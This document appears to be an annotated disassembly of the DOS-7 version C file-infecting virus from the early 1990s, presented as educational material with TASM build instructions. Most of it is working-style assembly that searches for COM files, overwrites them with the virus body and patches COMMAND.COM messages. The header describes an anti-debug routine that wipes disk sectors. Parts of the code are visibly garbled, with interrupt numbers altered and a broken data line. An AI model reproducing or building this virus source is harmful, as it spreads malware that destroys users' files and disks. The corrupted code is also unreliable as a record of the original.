

COMMENT

=====

=
=
=
=
=
=

DOS-7 version C

Disassembly By: Karsten Johansson, PC Scavenger

=====

=
=

= CAUTION: This virus contains damaging code. Do NOT compile or
= execute the code until you understand the nature of the
= anti-debugger methods used in the virus.

= NOTES: This virus is actively debugger-resistant. Use of a
= debugger will cause the virus to overwrite sectors 0
= upwards on the C: drive. What makes this technique
= highly dangerous compared to other anti-debug techniques
= is that instead of simply sending the debugger tracing
= the wrong path, it forces the debugger to actually
= execute the disk-writing routine.

= As of the time of this writing, no other virus uses this
= technique.

= COMPILER: With TASM: TASM DOS-7C
= TLINK /T DOS-7C
=

=====

=
=

= NOTE: It is a federal offense to use this code to infect someone
= else's system. THE ANTIDEBUG ROUTINES WERE WRITTEN TO MANIPULATE
= THE PREFETCH QUEUE FOR CPU'S OLDER THAN THE 80486. IT WILL /NOT/
= WORK AS EXPECTED ON A 486 OR PENTIUM CLASS COMPUTER, AND MAY
= DAMAGE YOUR SYSTEM! This code is released as an example of some of
= the interesting techniques used by virus writers in the late 80's
= and early 90's, and should be used for educational purposes only.

=====

~


```

mov     ah,1Ah                ;Set DTA
cwd
int     3
mov     ah,4Eh                ;Open file
sub     cx,cx
mov     dx,offset Filespec
int     3

```

ID_Check:

```

jc     restore_host          ;No file found
mov     ax,3D02h
mov     dx,1Eh                ;File name in DTA
int     3
jc     Find_Next

mov     bx,ax
mov     ah,3Fh                ;Read from file
mov     di,1Ah
mov     cx,[di]
mov     dx,si
int     3
mov     ax,[si]
jc     Find_Next

cmp     ax,word ptr [DOS_7]   ;Infected already?
je     Close_File
mov     ax,[si+2]             ;Look at 3rd and 4th bytes
cmp     ax,6015h              ;Same as DOS 6'S COMMAND?
je     COMMAND_COM
jmp     short Infect          ;Infect as normal file

```

```

;--- Following routines alter messages in COMMAND.COM -----
; Note: the following should cause command.com to fail with
; an error message that it has been altered... but command.com
; doesn't test itself rigourously enough, and so the user
; only notices if they invoke one of the manipulated messages.

```

COMMAND_COM:

```

push   di
push   si

lea    si,antivirus
mov    di,23F0h                ;DOS copyright notice
mov    cx,antiviruslen
cld
repz  movsb

lea    si,msg
mov    di,9057h                ;"Disk in drive XX has no
mov    cx,msglen               ; label"
repz  movsb

```

```

lea    si,msg2
mov    di,914Ch                ;"Bad command or filename"
mov    cx,msg2len
repz   movsb

mov    ax,4200h
sub    dx,dx
mov    cx,dx
int    3

mov    ah,40h                ;Write patched COMMAND.COM
lea    dx,host                ; back to disk
mov    cx,52925d
int    3

mov    ah,3Eh                ;close COMMAND.COM
int    3
pop    si
pop    di
jmp    short Restore_Host

```

;--- Infect file as a normal COM file (Not COMMAND.COM) ---

Infect:

```

mov    ax,4200h                ;Go to start of file
sub    dx,dx
mov    cx,dx
int    3

inc    dh                    ; DX=100h
mov    ah,40h                ;Write virus to file
mov    cx,word ptr [di]
add    cx,offset Host - 100h
int    3

mov    ah,3Eh                ;Close infected file
int    3

```

Restore_Host:

```

mov    ax,ss                ;Restore ES and DS
mov    es,ax
mov    ds,ax
push   ax                    ;Prepare to RETF to host
mov    ah,1Ah
shr    dx,1                ;Restore DTA
int    3
mov    di,100h
push   di                    ;Push proper COM entry
mov    cx,sp                ; point onto stack
sub    cx,si
rep    movsb                ;Move host to proper ofs
retf                          ; and Execute it

```

```

;--- Virus Data -----
Filespec db '*W.C?M',0 ;Avoid heuristic scanners
; from reporting that the
; infected files search
; for .COM files

MSG db 'is infected!'
msglen equ $ - msg

MSG2 db 'oy, are you ever dumb! '
msg2len equ $ - msg2

antivirus db 'MSDOS 7 (C)1993 ANARKICK SYSTEMS',0Dh,0Ah
db 1,1,1
antiviruslen equ ' DOS 6 Antivirus sucks. It missed this one! '
$ - antivirus

;--- Host file is appended here -----
db '$' ; for part of the host

Host:
mov ah,9
mov dx,offset (message - host + 100h)
int 3
mov ah,4CH
int 3

message db '[DOS 7v'
db 1,1,1, ' ] Lucifer Messiah$'

END DOS_7

```